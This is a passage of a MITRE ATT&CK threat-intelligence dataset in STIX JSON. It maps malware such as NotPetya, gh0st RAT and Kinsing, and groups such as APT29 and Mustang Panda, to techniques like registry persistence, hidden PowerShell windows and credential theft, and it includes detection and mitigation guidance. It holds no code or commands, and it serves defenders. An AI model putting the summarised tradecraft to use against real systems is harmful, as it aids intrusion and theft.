Crew)","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab070af4-71a4-4d65-91fa-8aa4fed8983a","created":"2022-07-29T19:36:27.827Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:43:37.778Z","description":"Monitor windows registry keys that may be deleted or alter generated artifacts associated with persistence on a host system. ","relationship_type":"detects","source_ref":"x-mitre-data-component--1177a4c5-31c8-400c-8544-9071166afa0e","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab08048c-4d1f-4214-9f53-1e87f6a20988","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.055Z","description":"[Brave Prince](https://attack.mitre.org/software/S0252) gathers information about the Registry.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab0c8d2a-b2da-4566-96f5-1cbbc9a41300","type":"relationship","created":"2021-04-06T12:22:23.763Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-09T14:32:22.156Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has used a script to parse files like /etc/hosts and SSH known_hosts to discover remote systems.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab0cb560-f859-4bfd-b237-ab7a35179054","created":"2022-09-30T18:55:25.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:13:30.908Z","description":"Monitor for newly constructed files containing large amounts of data. Abnormal file sizes may be an indicator of embedded content.","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab109b93-76a9-46da-8934-58751125fd1e","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Buckeye","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"}],"modified":"2020-03-18T20:19:35.794Z","description":"[OSInfo](https://attack.mitre.org/software/S0165) enumerates local and domain users(Citation: Symantec Buckeye)","relationship_type":"uses","source_ref":"malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab11615f-a0d9-43c9-b71e-6ae83155bf3b","type":"relationship","created":"2019-01-30T15:10:04.241Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","source_name":"ESET TeleBots Oct 2018"}],"modified":"2019-09-04T23:04:50.167Z","description":"[Exaramel for Windows](https://attack.mitre.org/software/S0343) adds the configuration to the Registry in XML format.(Citation: ESET TeleBots Oct 2018)","relationship_type":"uses","source_ref":"malware--051eaca1-958f-4091-9e5f-a9acd8f820b5","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab1a63f7-388d-4255-b66f-39768828cd70","created":"2022-07-15T13:34:35.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T18:04:36.514Z","description":"Monitor for API calls associated with gathering information about registered local system services, such as QueryServiceStatusEx. Other Windows API calls worth monitoring include EnumServicesStatusExA, which can be used to enumerate services in the service control manager database.\n\nNote: Most EDR tools do not support direct monitoring of API calls due to the sheer volume of calls produced by an endpoint but may have alerts or events that are based on abstractions of OS API calls. Dynamic malware analysis tools (i.e., sandboxes) can be used to trace the execution, including OS API calls, for a single PE binary.","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ab1b59f1-8629-48f4-ae9f-a18042122cb8","created":"2022-04-08T21:28:17.210Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CharmPower](https://attack.mitre.org/software/S0674) can collect data and files from a compromised host.(Citation: Check Point APT35 CharmPower January 2022)","modified":"2022-04-08T21:28:17.210Z","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab1b96ad-3ad8-4b16-b886-559f693496ff","type":"relationship","created":"2021-04-13T20:27:51.717Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:51.717Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has searched the entire target system for DOC, DOCX, PPT, PPTX, XLS, XLSX, and PDF files.(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab1d783b-d6b3-439c-a5f4-701a8cae4c6a","created":"2021-11-22T16:37:40.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Profero APT27 December 2020","description":"Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.","url":"https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"},{"source_name":"Trend Micro DRBControl February 2020","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:05:38.085Z","description":"[RCSession](https://attack.mitre.org/software/S0662) has the ability to modify a Registry Run key to establish persistence.(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab225de5-cdbc-4026-87ee-f64d3c22336d","created":"2024-10-08T20:09:52.003Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-08T20:09:52.003Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has used [Saint Bot](https://attack.mitre.org/software/S1018) during operations, but is distinct from the threat actor [Saint Bear](https://attack.mitre.org/groups/G1031).(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab2602d5-a3f5-45d2-a522-9b4f87bc7a24","type":"relationship","created":"2020-04-28T12:47:25.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-28T12:47:25.935Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) has the ability to list all running processes.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab27d055-77bb-4a3d-89b2-771e532f7384","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Pasam May 2012","description":"Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99"}],"modified":"2020-02-11T19:38:06.237Z","description":"[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of files.(Citation: Symantec Pasam May 2012)","relationship_type":"uses","source_ref":"malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab27d3af-d454-4a4c-801b-ea9a6c0d4b47","type":"relationship","created":"2020-01-24T14:21:52.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-06-20T20:11:42.523Z","description":"Allow applications via known hashes.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab2b2cd2-9f20-4497-a6d3-ef1698809779","type":"relationship","created":"2019-01-29T14:51:06.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.","url":"https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/","source_name":"Nccgroup Gh0st April 2018"},{"source_name":"Gh0stRAT ATT March 2019","url":"https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant","description":"Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}],"modified":"2021-03-29T19:49:11.294Z","description":"[gh0st RAT](https://attack.mitre.org/software/S0032) has added a Registry Run key to establish persistence.(Citation: Nccgroup Gh0st April 2018)(Citation: Gh0stRAT ATT March 2019)","relationship_type":"uses","source_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab322e5c-dfd2-45dd-bee1-59aec9d1d840","created":"2019-10-07T19:05:49.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA20-301A Kimsuky","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a"},{"source_name":"Unit42 BabyShark Feb 2019","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-12T16:27:07.619Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence.(Citation: Unit42 BabyShark Feb 2019)(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab3599ae-66cd-49c2-bfa7-cbec9af6e271","type":"relationship","created":"2021-09-09T14:15:55.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.382Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) has the ability to extract data from removable devices connected to the endpoint.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab372993-3d63-4ca3-a064-e4b5820d8970","type":"relationship","created":"2019-03-26T16:37:29.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."}],"modified":"2021-04-22T00:32:59.963Z","description":"[NotPetya](https://attack.mitre.org/software/S0368) drops [PsExec](https://attack.mitre.org/software/S0029) with the filename dllhost.dat.(Citation: Talos Nyetya June 2017)","relationship_type":"uses","source_ref":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab3cf933-236f-4255-9ca6-24826f9bbe99","type":"relationship","created":"2019-10-10T22:19:43.951Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 DarkHydrus July 2018","description":"Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"}],"modified":"2021-02-09T13:51:14.503Z","description":"[DarkHydrus](https://attack.mitre.org/groups/G0079) has used -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: Unit 42 DarkHydrus July 2018)","relationship_type":"uses","source_ref":"intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab3fe31a-051e-4db5-bcf0-20a93b4bae9b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2018","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}],"modified":"2020-03-18T20:01:05.712Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has a command to list account information on the victim’s machine.(Citation: ESET InvisiMole June 2018)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab431fe4-eb1b-48ed-a105-7d50b8d0beda","created":"2022-09-07T13:48:41.424Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T15:07:14.214Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used [Empire](https://attack.mitre.org/software/S0363) to automatically gather the username, domain name, machine name, and other system information.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab4acf2d-7761-4f78-92eb-cbd4fea45929","created":"2023-03-26T20:36:54.310Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"},{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:43:05.133Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) stores an encoded configuration file in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Security.(Citation: US-CERT Volgmer Nov 2017)(Citation: Symantec Volgmer Aug 2014)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab4d5c44-b402-4b17-8c23-719e74076dce","created":"2023-07-12T19:12:43.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T20:58:34.007Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) used Windows Management Instrumentation (WMI) to move laterally via [Impacket](https://attack.mitre.org/software/S0357).(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab4d7a1b-2b5a-44b6-a363-363d3f3f6e05","type":"relationship","created":"2021-05-05T13:48:03.687Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-05T13:48:03.687Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can wait 30 seconds before executing additional code if security software is detected.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ab503692-c6ff-41ab-995a-e658d098b07b","created":"2022-03-10T21:07:56.024Z","x_mitre_version":"1.0","external_references":[{"source_name":"Unit 42 WhisperGate January 2022","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WhisperGate](https://attack.mitre.org/software/S0689) can use `cmd.exe` to execute commands.(Citation: Unit 42 WhisperGate January 2022)","modified":"2022-04-13T13:26:49.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ab51438e-c79f-4fc5-b331-a85dc892b604","type":"relationship","created":"2019-05-29T13:53:36.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 Jan 2019","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}],"modified":"2019-06-07T20:33:39.450Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) will attempt to enumerate the username of the victim.(Citation: Proofpoint TA505 Jan 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb","created":"2017-05-31T21:33:27.049Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant No Easy Breach","description":"Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved September 12, 2024.","url":"https://www.slideshare.net/slideshow/no-easy-breach-derby-con-2016/66447908"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:24:32.318Z","description":"[APT29](https://attack.mitre.org/groups/G0016) used WMI to steal credentials and execute backdoors at a future time.(Citation: Mandiant No Easy 